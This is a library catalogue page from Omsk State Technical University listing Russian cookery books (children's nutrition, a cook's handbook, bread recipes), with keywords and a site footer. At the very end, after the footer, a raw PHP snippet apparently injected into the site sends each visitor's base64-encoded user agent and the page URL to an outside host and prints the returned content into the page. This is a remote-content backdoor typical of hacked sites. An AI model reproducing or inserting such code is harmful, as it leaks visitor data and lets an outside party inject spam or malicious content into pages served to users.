Ключевые слова 
ПИТАНИЕ ДЕТЕЙ -- ОБРАБОТКА ОВОЩЕЙ -- ОБРАБОТКА ГРИБОВ -- ОБРАБОТКА РЫБЫ -- ОБРАБОТКА МЯСА -- ОБРАБОТКА ПТИЦЫ -- ОБРАБОТКА ПРОДУКТОВ ТЕПЛОВАЯ -- СУП -- БУЛЬОН -- СУП - ПЮРЕ -- СУП МОЛОЧНЫЙ -- СУП ХОЛОДНЫЙ -- СОУС -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ МАКАРОННЫХ ИЗДЕЛИЙ -- КАША -- БЛЮДА ИЗ РЫБЫ -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- ТЕСТО -- БЛЮДА ХОЛОДНЫЕ -- САЛАТ -- ВИНЕГРЕТ -- БУТЕРБРОД -- БЛЮДА СЛАДКИЕ -- НАПИТКИ -- КОМПОТ -- ВСКАРМЛИВАНИЕ ЕСТЕСТВЕННОЕ -- ВСКАРМЛИВАНИЕ ИСКУССТВЕННОЕ -- ВСКАРМЛИВАНИЕ СМЕШАННОЕ -- ПИТАНИЕ ДЕТЕЙ ГРУДНЫХ -- ПИТАНИЕ ЛЕЧЕБНОЕ ДЕТСКОЕ -- ПИЩЕБЛОК ДЕТСКОГО ПИТАНИЯ -- БРАКЕРАЖ -- МЕНЮ
Держатели документа (Информация об экземплярах) 
19. 
Сопина Л. Н. Пособие для повара [Текст] / Л. Н. Сопина, 2000. - 240 с.
Ключевые слова 
ОРГАНИЗАЦИЯ ПРОИЗВОДСТВА -- ПИТАНИЕ ОБЩЕСТВЕННОЕ -- ОБРАБОТКА ПРОДУКТОВ -- ОБРАБОТКА ОВОЩЕЙ -- ОБРАБОТКА ГРИБОВ -- ОБРАБОТКА КАРТОФЕЛЯ -- ОБРАБОТКА РЫБЫ -- ОБРАБОТКА МЯСА -- ОБРАБОТКА ПТИЦЫ -- ОБРАБОТКА КРОЛИКОВ -- ОБРАБОТКА ПРОДУКТОВ ТЕПЛОВАЯ -- БЛЮДА ХОЛОДНЫЕ -- БЛЮДА ГОРЯЧИЕ -- ЗАКУСКА -- БУТЕРБРОД -- ВИНЕГРЕТ -- СУП -- БУЛЬОН -- СУП ОВОЩНОЙ -- СУП КАРТОФЕЛЬНЫЙ -- СУП МОЛОЧНЫЙ -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- БЛЮДА МЯСНЫЕ -- БЛЮДА РЫБНЫЕ -- БЛЮДА ИЗ ОВОЩЕЙ -- СОУС -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- БЛЮДА ИЗ МАКАРОННЫХ ИЗДЕЛИЙ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА СЛАДКИЕ -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО БЕЗДРОЖЖЕВОЕ -- БРАКЕРАЖ
Держатели документа (Информация об экземплярах) 
20. 
Хлеб на любой вкус [Текст] / сост. Л. В. Шабыкина ; дар. Н. Е. Бадаева, 1987. - 286, [1] с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2998 - 25.08.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.15 с.18 запросов, 0.76c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;